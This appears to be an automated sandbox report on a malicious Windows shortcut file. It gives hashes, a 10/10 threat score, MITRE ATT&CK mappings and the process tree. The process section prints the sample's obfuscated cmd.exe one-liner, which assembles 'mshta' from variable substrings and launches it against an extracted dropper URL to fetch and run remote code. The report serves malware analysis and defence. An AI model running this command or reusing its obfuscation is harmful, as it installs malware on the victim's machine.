776bb1d1849101fc4a654d85d009994ce5c829e8e1d6259bf927aa35aa8c0c64

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:11

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General

Target
DOC-NN5VKF.lnk
Size 2KB
Sample260803-qffl9azzbv
SHA256 776bb1d1849101fc4a654d85d009994ce5c829e8e1d6259bf927aa35aa8c0c64
MD5 0ca10fa9866e49539a8881516fc17bba
SHA1 1c47429822048098baa35f1e010f387747939caf
SHA512 81059e5a38165ee9ab1fcbd82a25c386ad80fb1ff07186d48ee28675bd0f8657fc0875f05afdf60857678ba0f4dcce660de68eab88142170eae9f0ad73e7ca57
TLSH
T1114176803BFA01D8F2FB9E73EDBA275140BBB9626E70C64D0480820C0432B40D677B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2968	cmd.exe
5576	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5576 wrote to memory of 2968	5576	cmd.exe	90
PID 2968 wrote to memory of 2972	2968	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NN5VKF.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5576
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set nMIqn=winzwlpsakagpbyfwin&set OgjTo=inffqiubyjinf&set smWGs=logxbdvhaerxiethtlog&set ZgeLK=mistar&&set FzY=oa3rj&&set BVQ=4tr7&set ECIdt=sysqcekgozjflbjttspsys&set GjxlT=acrms3e&&set bZH=fthtthk&&set uOAa=va1p&set XMUkD=datshzsavgagkxgikjjidat&&set ri=ht@tps@://b@o-@p@d@ff@[email protected]/h@/estagio1.php?r@=36@0761F1@579@4&&start /b !GjxlT:~3,2!!bZH:~2,2!!uOAa:~1,1! !ri:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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